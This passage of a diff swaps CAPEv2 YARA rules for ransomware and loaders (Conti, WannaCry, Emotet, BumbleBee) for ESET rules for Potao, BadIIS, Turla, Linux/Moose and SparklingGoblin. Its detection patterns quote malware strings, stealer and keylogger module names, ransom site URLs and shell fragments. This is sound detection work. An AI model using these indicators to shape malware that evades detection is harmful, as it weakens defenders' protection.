+		$binary2 = { 55 8B EC 51 56 C7 45 FC 00 00 00 00 EB 09 8B 45 FC 83 C0 01 89 45 FC 81 7D FC ?? ?? 00 00 7D 3D 8B 4D FC 0F BE 89 ?? ?? ?? 00 8B 45 FC 33 D2 BE 04 00 00 00 F7 F6 B8 03 00 00 00 2B C2 0F BE 90 ?? ?? ?? 00 33 CA 2B 4D FC 83 E9 01 81 E1 FF 00 00 00 8B 45 FC 88 88 ?? ?? ?? 00 EB B1 5E 8B E5 5D C3}
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		($mz at 0) and any of ($binary*)
 }
-rule CAPE_Conti : FILE
+private rule ESET_Potaodll_PRIVATE
 {
 	meta:
-		description = "Conti Ransomware"
-		author = "kevoreilly"
-		id = "c94aed07-0eaf-5b51-a81e-e1992543673a"
-		date = "2021-03-15"
-		modified = "2021-03-15"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Conti.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "c9842f93d012d0189b9c6f10ad558b37ae66226bbb619ad677f6906ccaf0e848"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "a53ff170-ed3a-5ee9-a262-bb2f77aba092"
+		date = "2015-07-30"
+		modified = "2015-07-30"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/potao/PotaoNew.yara#L46-L70"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "1d1154eb10cc70b3252e3ca4a85789e8605f2f3b7044f03ec960fd56ab81886a"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Conti Payload"
+		quality = 28
+		tags = ""
 
 	strings:
-		$crypto1 = {8A 07 8D 7F 01 0F B6 C0 B9 ?? 00 00 00 2B C8 6B C1 ?? 99 F7 FE 8D [2] 99 F7 FE 88 ?? FF 83 EB 01 75 DD}
-		$website1 = "https://contirecovery.info" ascii wide
-		$website2 = "https://contirecovery.best" ascii wide
+		$mz = { 4d 5a }
+		$dllstr1 = "?AVCncBuffer@@"
+		$dllstr2 = "?AVCncRequest@@"
+		$dllstr3 = "Petrozavodskaya, 11, 9"
+		$dllstr4 = "_Scan@0"
+		$dllstr5 = "\x00/sync/document/"
+		$dllstr6 = "\\temp.temp"
+		$dllname1 = "node69MainModule.dll"
+		$dllname2 = "node69-main.dll"
+		$dllname3 = "node69MainModuleD.dll"
+		$dllname4 = "task-diskscanner.dll"
+		$dllname5 = "\x00Screen.dll"
+		$dllname6 = "Poker2.dll"
+		$dllname7 = "PasswordStealer.dll"
+		$dllname8 = "KeyLog2Runner.dll"
+		$dllname9 = "GetAllSystemInfo.dll"
+		$dllname10 = "FilePathStealer.dll"
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		($mz at 0) and ( any of ($dllstr*) and any of ($dllname*))
 }
-rule CAPE_Bazar : FILE
+private rule ESET_Potaodecoy_PRIVATE
 {
 	meta:
-		description = "No description has been set in the source file - CAPE"
-		author = "kevoreilly"
-		id = "e042f180-2a82-5c93-9858-77281557dd10"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Bazar.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "9375f59b56e47fd0b90b089afdf3be8f16f960038fc625523a2e2d5509ab099d"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "215f1821-f70d-547e-b261-335dc1300bf2"
+		date = "2015-07-30"
+		modified = "2015-07-30"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/potao/PotaoNew.yara#L32-L45"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "93cbe1d1545d1fb85b3218b68619e67a1dda80d5888d2685a04915b861dfce01"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Bazar Payload"
+		quality = 28
+		tags = ""
 
 	strings:
-		$decode = {F7 E9 [0-2] C1 FA 0? 8B C2 C1 E8 1F 03 D0 6B C2 ?? 2B C8}
-		$rsa = {C7 00 52 53 41 33 48 8D 48 09 C7 40 04 00 08 00 00 4C 8D 05 [3] 00 C6 40 08 03 B8 09 00 00 00 [0-3] 48 8D 89 80 00 00 00 41 0F 10 00}
+		$mz = { 4d 5a }
+		$str1 = "eroqw11"
+		$str2 = "2sfsdf"
+		$str3 = "RtlDecompressBuffer"
+		$wiki_str = "spanned more than 100 years and ruined three consecutive" wide
+		$old_ver1 = {53 68 65 6C 6C 33 32 2E 64 6C 6C 00 64 61 66 73 72 00 00 00 64 61 66 73 72 00 00 00 64 6F 63 (00 | 78)}
+		$old_ver2 = {6F 70 65 6E 00 00 00 00 64 6F 63 00 64 61 66 73 72 00 00 00 53 68 65 6C 6C 33 32 2E 64 6C 6C 00}
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		($mz at 0) and (( all of ($str*)) or any of ($old_ver*) or $wiki_str)
 }
-rule CAPE_Tscookie : FILE
+import "pe"
+
+private rule ESET_IIS_Native_Module_PRIVATE : FILE
 {
 	meta:
-		description = "TSCookie Payload"
-		author = "kevoreilly"
-		id = "e1efd356-7170-5454-bf40-68927c71816c"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/TSCookie.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "0461c7fd14c74646437654f0a63a4a89d4efad620e197a8ca1e8d390618842c3"
+		description = "Signature to match an IIS native module (clean or malicious)"
+		author = "ESET Research"
+		id = "e3bacdc8-fde1-5e83-ac94-79fc345e888d"
+		date = "2021-08-04"
+		modified = "2021-08-04"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/badiis/badiis.yar#L34-L92"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "5a388dc3253df606e2648d1f9c018e6dde373bbddce66dba69b7aecdd95bac18"
 		score = 75
-		quality = 70
+		quality = 55
 		tags = "FILE"
-		cape_type = "TSCookie Payload"
+		license = "BSD 2-Clause"
+		version = "1"
 
 	strings:
-		$string1 = "http://%s:%d" wide
-		$string2 = "/Default.aspx" wide
-		$string3 = "\\wship6"
+		$e1 = "This module subscribed to event"
+		$e2 = "CHttpModule::OnBeginRequest"
+		$e3 = "CHttpModule::OnPostBeginRequest"
+		$e4 = "CHttpModule::OnAuthenticateRequest"
+		$e5 = "CHttpModule::OnPostAuthenticateRequest"
+		$e6 = "CHttpModule::OnAuthorizeRequest"
+		$e7 = "CHttpModule::OnPostAuthorizeRequest"
+		$e8 = "CHttpModule::OnResolveRequestCache"
+		$e9 = "CHttpModule::OnPostResolveRequestCache"
+		$e10 = "CHttpModule::OnMapRequestHandler"
+		$e11 = "CHttpModule::OnPostMapRequestHandler"
+		$e12 = "CHttpModule::OnAcquireRequestState"
+		$e13 = "CHttpModule::OnPostAcquireRequestState"
+		$e14 = "CHttpModule::OnPreExecuteRequestHandler"
+		$e15 = "CHttpModule::OnPostPreExecuteRequestHandler"
+		$e16 = "CHttpModule::OnExecuteRequestHandler"
+		$e17 = "CHttpModule::OnPostExecuteRequestHandler"
+		$e18 = "CHttpModule::OnReleaseRequestState"
+		$e19 = "CHttpModule::OnPostReleaseRequestState"
+		$e20 = "CHttpModule::OnUpdateRequestCache"
+		$e21 = "CHttpModule::OnPostUpdateRequestCache"
+		$e22 = "CHttpModule::OnLogRequest"
+		$e23 = "CHttpModule::OnPostLogRequest"
+		$e24 = "CHttpModule::OnEndRequest"
+		$e25 = "CHttpModule::OnPostEndRequest"
+		$e26 = "CHttpModule::OnSendResponse"
+		$e27 = "CHttpModule::OnMapPath"
+		$e28 = "CHttpModule::OnReadEntity"
+		$e29 = "CHttpModule::OnCustomRequestNotification"
+		$e30 = "CHttpModule::OnAsyncCompletion"
+		$e31 = "CGlobalModule::OnGlobalStopListening"
+		$e32 = "CGlobalModule::OnGlobalCacheCleanup"
+		$e33 = "CGlobalModule::OnGlobalCacheOperation"
+		$e34 = "CGlobalModule::OnGlobalHealthCheck"
+		$e35 = "CGlobalModule::OnGlobalConfigurationChange"
+		$e36 = "CGlobalModule::OnGlobalFileChange"
+		$e37 = "CGlobalModule::OnGlobalApplicationStart"
+		$e38 = "CGlobalModule::OnGlobalApplicationResolveModules"
+		$e39 = "CGlobalModule::OnGlobalApplicationStop"
+		$e40 = "CGlobalModule::OnGlobalRSCAQuery"
+		$e41 = "CGlobalModule::OnGlobalTraceEvent"
+		$e42 = "CGlobalModule::OnGlobalCustomNotification"
+		$e43 = "CGlobalModule::OnGlobalThreadCleanup"
+		$e44 = "CGlobalModule::OnGlobalApplicationPreload"
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint16(0)==0x5A4D and pe.exports("RegisterModule") and any of ($e*)
 }
-rule CAPE_Oyster
+import "pe"
+
+private rule ESET_Not_Ms_PRIVATE
 {
 	meta:
-		description = "Oyster Payload"
-		author = "enzok"
-		id = "29443d00-e3de-53fd-b617-df470a30e805"
-		date = "2024-05-30"
-		modified = "2024-05-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Oyster.yar#L1-L19"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "8bae0fa9f589cd434a689eebd7a1fde949cc09e6a65e1b56bb620998246a1650"
-		logic_hash = "23ab1518712dbce8319b87785d7ffc0c2b61de82c2bbf533ebf0aae39ec33540"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "7edb96a1-a63a-580e-ac26-66fa14ae97d1"
+		date = "2018-09-05"
+		modified = "2018-09-05"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/turla-outlook.yar#L34-L40"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "71f492eaa80bee5e8cc5bec67b2a7fd6f5f71ee2594d9f531043747533c80443"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "Oyster Payload"
-
-	strings:
-		$start_exit = {(05 | 00) 00 00 00 2E 96 1E A6}
-		$content_type = {F6 CE 56 F4 76 F6 96 2E 86 C6 96 36 0E 0E 86 04 5C A6 0E 9E 2A B4 2E 76 A6 2E 76 F6 C2}
-		$domain = {44 5C 44 76 96 86 B6 F6 26 44 34 44}
-		$id = {44 5C 44 64 96 44 DE}
-		$ip_local = {44 5C 44 36 86 C6 F6 36 FA 0E 96 44 34 44}
-		$table_part_1 = {00 80 40 C0 20 A0 60 E0 10 90 50 D0 30 B0 70 F0 08 88 48 C8 28 A8 68}
-		$table_part_2 = {97 57 D7 37 B7 77 F7 0F 8F 4F CF 2F AF 6F EF 1F 9F 5F DF 3F BF 7F FF}
-		$decode = {0F B6 0? 8D ?? FF 8A [2] 0F B6 80 [4] 88 04 ?? 46 0F B6 C? 0F B6 80 [4] 88 4? 01 3B F7}
 
 	condition:
-		4 of them
+		not for any i in (0..pe.number_of_signatures-1) : (pe.signatures[i].issuer contains "Microsoft Corporation")
 }
-rule CAPE_Wanacry : FILE
+private rule ESET_Is_Elf_PRIVATE
 {
 	meta:
-		description = "WanaCry Payload"
-		author = "kevoreilly"
-		id = "a6525e0f-fccd-5542-9be8-e42d708fe502"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/WanaCry.yar#L1-L16"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "16d5e39f043d27bbf22f8f21e13971b7e0709b07e44746dd157d11ee4cc51944"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "6389dc72-ac97-5366-83f2-2e9bcf618ae4"
+		date = "2016-11-01"
+		modified = "2016-11-01"
+		reference = "https://github.com/eset/malware-ioc"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/moose/linux-moose.yar#L32-L39"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "2a3c9a875852cd3ce86d43b9e4a6ba786ecbae1f18bba73a3bef5b7e8ba67a3b"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "WanaCry Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$exename = "@WanaDecryptor@.exe"
-		$res = "%08X.res"
-		$pky = "%08X.pky"
-		$eky = "%08X.eky"
-		$taskstart = {8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53}
+		$header = { 7F 45 4C 46 }
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		$header at 0
 }
-rule CAPE_Jaff : FILE
+rule ESET_Moose_1
 {
 	meta:
-		description = "Jaff Payload"
-		author = "kevoreilly"
-		id = "6681c1fe-6c88-5a49-bdfa-54ce08ea6707"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Jaff.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "6806a5eeee04b7436ff694addc334bfc0f1ee611116904d57be9506acfd47418"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "4d228de6-ddbf-57c0-a330-5840c4d40dfc"
+		date = "2015-04-21"
+		modified = "2016-11-01"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/moose/linux-moose.yar#L41-L76"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "8bedac80a1f754ce56294ba9786b62a002aacd074f756724401efc61def127e6"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Jaff Payload"
+		quality = 30
+		tags = ""
+		Author = "Thomas Dupuy"
+		Description = "Linux/Moose malware"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$a1 = "CryptGenKey"
-		$a2 = "353260540318613681395633061841341670181307185694827316660016508"
-		$b1 = "jaff"
-		$b2 = "2~1c0q4t7"
+		$s0 = "Status: OK"
+		$s1 = "--scrypt"
+		$s2 = "stratum+tcp://"
+		$s3 = "cmd.so"
+		$s4 = "/Challenge"
+		$s7 = "processor"
+		$s9 = "cpu model"
+		$s21 = "password is wrong"
+		$s22 = "password:"
+		$s23 = "uthentication failed"
+		$s24 = "sh"
+		$s25 = "ps"
+		$s26 = "echo -n -e "
+		$s27 = "chmod"
+		$s28 = "elan2"
+		$s29 = "elan3"
+		$s30 = "chmod: not found"
+		$s31 = "cat /proc/cpuinfo"
+		$s32 = "/proc/%s/cmdline"
+		$s33 = "kill %s"
 
 	condition:
-		uint16(0)==0x5A4D and ( any of ($a*)) and (1 of ($b*))
+		ESET_Is_Elf_PRIVATE and all of them
 }
-rule CAPE_Bumblebee : FILE
+rule ESET_Moose_2
 {
 	meta:
-		description = "BumbleBee Payload"
-		author = "enzo & kevoreilly"
-		id = "b3a4dd53-014c-5e16-8ac1-7f3800ae017d"
-		date = "2023-10-02"
-		modified = "2023-10-02"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/BumbleBee.yar#L35-L50"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "bc7c2ce9d3cd598c9510dc64d78048999f2f89ee5a84cd0d6046dbdfabe260ee"
+		description = "No description has been set in the source file - ESET"
+		author = "ESET TI"
+		id = "74372984-dace-5665-a5d0-39b8d1002fa1"
+		date = "2016-10-02"
+		modified = "2016-11-01"
+		reference = "http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/moose/linux-moose.yar#L78-L110"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "3f50d2d81d4c27e44d93804adcf93971017767ed0e020447cdb343931c2fbc43"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "BumbleBee Payload"
+		quality = 80
+		tags = ""
+		Author = "Thomas Dupuy"
+		Description = "Linux/Moose malware active since September 2015"
+		Contact = "github@eset.com"
+		License = "BSD 2-Clause"
 
 	strings:
-		$antivm1 = {84 C0 74 09 33 C9 FF [4] 00 CC 33 C9 E8 [3] 00 4? 8B C8 E8}
-		$antivm2 = {84 C0 0F 85 [2] 00 00 33 C9 E8 [4] 48 8B C8 E8 [4] 48 8D 85}
-		$antivm3 = {33 C9 E8 [4] 48 8B C8 E8 [4] 83 CA FF 48 8B 0D [4] FF 15}
-		$antivm4 = {33 C9 E8 [4] 48 8B C8 E8 [4] 90 48 8B 05 [4] 48 85 C0 74}
-		$str_ua = "bumblebee"
-		$str_gate = "/gate"
+		$s1 = "Modules are loaded"
+		$s2 = "--scrypt"
+		$s3 = "http://"
+		$s4 = "https://"
+		$s5 = "processor "
+		$s6 = "cpu model "
+		$s7 = "Host: www.challpok.cn"
+		$s8 = "Cookie: PHPSESSID=%s; nhash=%s; chash=%s"
+		$s9 = "fail!"
+		$s10 = "H3lL0WoRlD"
+		$s11 = "crondd"
+		$s12 = "cat /proc/cpuinfo"
+		$s13 = "Set-Cookie: PHPSESSID="
+		$s14 = "Set-Cookie: LP="
+		$s15 = "Set-Cookie: WL="
+		$s16 = "Set-Cookie: CP="
+		$s17 = "Loading modules..."
+		$s18 = "-nobg"
 
 	condition:
-		uint16(0)==0x5A4D and ( any of ($antivm*) or all of ($str_*))
+		ESET_Is_Elf_PRIVATE and 5 of them
 }
-rule CAPE_Emotetloader : FILE
+import "pe"
+
+rule ESET_Sparklinggoblin_Chacha20Loader_Richheader
 {
 	meta:
-		description = "Emotet Loader"
-		author = "kevoreilly"
-		id = "aea8ff2e-bdf7-5417-a41c-93566d1dd019"
-		date = "2022-05-31"
-		modified = "2022-05-31"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/EmotetLoader.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "410872d25ed3a89a2cba108f952d606cd1c3bf9ccc89ae6ab3377b83665c2773"
+		description = "Rule matching ChaCha20 loaders rich header"
+		author = "ESET Research"
+		id = "e1dac369-f25e-5cb3-aafa-b0c45f05b295"
+		date = "2021-03-30"
+		modified = "2021-08-26"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/sparklinggoblin/SparklingGoblin.yar#L33-L57"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "09ffe37a54bc4ebebd8d56098e4c76232f35d821"
+		hash = "29b147b76bb0d9e09f7297487cb972e6a2905586"
+		hash = "33f2c3de2457b758fc5824a2b253ad7c7c2e9e37"
+		hash = "45bef297ce78521eac6ee39e7603e18360e67c5a"
+		hash = "4cec7cdc78d95c70555a153963064f216dae8799"
+		hash = "4d4c1a062a0390b20732ba4d65317827f2339b80"
+		hash = "4f6949a4906b834e83ff951e135e0850fe49d5e4"
+		logic_hash = "a5c9595036dec0e0aef0a030c590189752217d15d3f53bf3dc537f5b43fae63e"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "EmotetLoader Payload"
-
-	strings:
-		$antihook = {8B 15 ?? ?? ?? ?? 03 15 ?? ?? ?? ?? 89 95 28 FF FF FF A1 ?? ?? ?? ?? 2D 4D 01 00 00 A3 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 3B 0D ?? ?? ?? ?? 76 26 8B 95 18 FF FF FF 8B 42 38}
+		quality = 80
+		tags = ""
+		license = "BSD 2-Clause"
 
 	condition:
-		uint16(0)==0x5A4D and any of them
+		pe.rich_signature.length>=104 and pe.rich_signature.length<=112 and pe.rich_signature.toolid(241,40116)>=5 and pe.rich_signature.toolid(241,40116)<=10 and pe.rich_signature.toolid(147,30729)==11 and pe.rich_signature.toolid(264,24215)>=15 and pe.rich_signature.toolid(264,24215)<=16
 }
-rule CAPE_Rokrat : FILE
+import "pe"
+
+rule ESET_Sparklinggoblin_Chacha20 : FILE
 {
 	meta:
-		description = "RokRat Payload"
-		author = "kevoreilly"
-		id = "12e05b90-9771-5901-ae82-9fd2ea6263e7"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/RokRat.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "2aaa7de7ccd59e0da690f4bc0c7deaacf61314d61f8d2aa3ce6f6892f50612ec"
+		description = "SparklingGoblin ChaCha20 implementations"
+		author = "ESET Research"
+		id = "c0caceca-f685-5786-82f6-3ab7435f8061"
+		date = "2021-05-20"
+		modified = "2021-08-26"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/sparklinggoblin/SparklingGoblin.yar#L59-L368"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b"
+		hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f"
+		hash = "8be6d5f040d0085c62b1459afc627707b0de89cf"
+		hash = "4668302969fe122874fb2447a80378dcb671c86b"
+		hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b"
+		hash = "9ce7650f2c08c391a35d69956e171932d116b8bd"
+		hash = "91b32e030a1f286e7d502ca17e107d4bfbd7394a"
+		logic_hash = "b742bc22e0ebbce40607cb109b4d6fb03a40c1fb223c8092d93346dd3dd22789"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = "FILE"
-		cape_type = "RokRat Payload"
+		license = "BSD 2-Clause"
 
 	strings:
-		$code1 = {8B 57 04 8D 7F 04 33 57 FC 81 E2 FF FF FF 7F 33 57 FC 8B C2 24 01 0F B6 C0 F7 D8 1B C0 D1 EA 25 DF B0 08 99 33 87 30 06 00 00 33 C2 89 87 3C F6 FF FF 83 E9 01 75 C9}
-		$string1 = "/pho_%s_%d.jpg" wide
+		$chunk_1 = {
+            8B 4D ??
+            56
+            8B 75 ??
+            57
+            8B 7D ??
+            8B 04 BB
+            01 04 93
+            8B 04 B3
+            33 04 93
+            C1 C0 10
+            89 04 B3
+            01 04 8B
+            8B 04 BB
+            33 04 8B
+            C1 C0 0C
+            89 04 BB
+            01 04 93
+            8B 04 B3
+            33 04 93
+            C1 C0 08
+            89 04 B3
+            01 04 8B
+            8B 04 BB
+            33 04 8B
+            C1 C0 07
+            89 04 BB
+        }
+		$chunk_2 = {
+            03 4D ??
+            44 03 C0
+            03 55 ??
+            33 F1
+            45 33 D8
+            C1 C6 10
+            44 33 F2
+            41 C1 C3 10
+            41 03 FB
+            41 C1 C6 10
+            45 03 E6
+            41 03 DA
+            44 33 CB
+            44 03 EE
+            41 C1 C1 10
+            8B C7
+            33 45 ??
+            45 03 F9
+            C1 C0 0C
+            44 03 C0
+            45 33 D8
+            44 89 45 ??
+            41 C1 C3 08
+            41 03 FB
+            44 8B C7
+            44 33 C0
+            41 8B C5
+            33 45 ??
+            C1 C0 0C
+            03 C8
+            41 C1 C0 07
+            33 F1
+            89 4D ??
+            C1 C6 08
+            44 03 EE
+            41 8B CD
+            33 C8
+            41 8B C4
+            33 45 ??
+            C1 C0 0C
+            03 D0
+            C1 C1 07
+            44 33 F2
+            89 55 ??
+            41 C1 C6 08
+            45 03 E6
+            41 8B D4
+            33 D0
+            41 8B C7
+            41 33 C2
+            C1 C2 07
+            C1 C0 0C
+            03 D8
+            44 33 CB
+            41 C1 C1 08
+            45 03 F9
+            45 8B D7
+            44 33 D0
+            8B 45 ??
+            03 C1
+            41 C1 C2 07
+            44 33 C8
+            89 45 ??
+            41 C1 C1 10
+            45 03 E1
+            41 8B C4
+            33 C1
+            8B 4D ??
+            C1 C0 0C
+            03 C8
+            44 33 C9
+            89 4D ??
+            89 4D ??
+            41 C1 C1 08
+            45 03 E1
+            41 8B CC
+            33 C8
+            8B 45 ??
+            C1 C1 07
+            89 4D ??
+            89 4D ??
+            03 C2
+            41 03 D8
+            89 45 ??
+            41 33 C3
+            C1 C0 10
+            44 03 F8
+            41 8B CF
+            33 CA
+            8B 55 ??
+        }
+		$chunk_3 = {
+            C7 45 ?? 65 78 70 61
+            4C 8D 45 ??
+            C7 45 ?? 6E 64 20 33
+            4D 8B F9
+            C7 45 ?? 32 2D 62 79
+            4C 2B C1
+            C7 45 ?? 74 65 20 6B
+        }
+		$chunk_4 = {
+            0F B6 02
+            0F B6 4A ??
+            C1 E1 08
+            0B C8
+            0F B6 42 ??
+            C1 E1 08
+            0B C8
+            0F B6 42 ??
+            C1 E1 08
+            0B C8
+            41 89 0C 10
+            48 8D 52 ??
+            49 83 E9 01
+        }
+		$chunk_5 = {
+            03 4D ??
+            44 03 C0
+            03 55 ??
+            33 F1
+            41 33 F8
+            C1 C6 10
+            44 33 F2
+            C1 C7 10
+            44 03 DF
+            41 C1 C6 10
+            45 03 E6
+            44 03 CB
+            45 33 D1
+            44 03 EE
+            41 C1 C2 10
+            41 8B C3
+            33 45 ??
+            45 03 FA
+            C1 C0 0C
+            44 03 C0
+            41 33 F8
+            44 89 45 ??
+            C1 C7 08
+            44 03 DF
+            45 8B C3
+            44 33 C0
+            41 8B C5
+            33 45 ??
+            C1 C0 0C
+            03 C8
+            41 C1 C0 07
+            33 F1
+            89 4D ??
+            C1 C6 08
+            44 03 EE
+            41 8B CD
+            33 C8
+            41 8B C4
+            33 45 ??
+            C1 C0 0C
+            03 D0
+            C1 C1 07
+            44 33 F2
+            89 55 ??
+            41 C1 C6 08
+            45 03 E6
+            41 8B D4
+            33 D0
+            41 8B C7
+            33 C3
+            C1 C2 07
+            C1 C0 0C
+            44 03 C8
+            45 33 D1
+            41 C1 C2 08
+            45 03 FA
+            41 8B DF
+            33 D8
+            8B 45 ??
+            03 C1
+            C1 C3 07
+            44 33 D0
+            89 45 ??
+            41 C1 C2 10
+            45 03 E2
+            41 8B C4
+            33 C1
+            8B 4D ??
+            C1 C0 0C
+            03 C8
+            44 33 D1
+            89 4D ??
+            89 4D ??
+            41 C1 C2 08
+            45 03 E2
+            41 8B CC
+            33 C8
+            8B 45 ??
+            C1 C1 07
+            89 4D ??
+            89 4D ??
+            03 C2
+            45 03 C8
+            89 45 ??
+            33 C7
+            C1 C0 10
+            44 03 F8
+            41 8B CF
+            33 CA
+            8B 55 ??
+            C1 C1 0C
+            03 D1
+            8B FA
+            89 55 ??
+            33 F8
+            89 55 ??
+            8B 55 ??
+            03 D3
+            C1 C7 08
+            44 03 FF
+            41 8B C7
+            33 C1
+            C1 C0 07
+            89 45 ??
+            89 45 ??
+            8B C2
+            33 C6
+            C1 C0 10
+            44 03 D8
+            41 33 DB
+            C1 C3 0C
+            03 D3
+            8B F2
+            89 55 ??
+            33 F0
+            41 8B C1
+            41 33 C6
+            C1 C6 08
+            C1 C0 10
+            44 03 DE
+            44 03 E8
+            41 33 DB
+            41 8B CD
+            C1 C3 07
+            41 33 C8
+            44 8B 45 ??
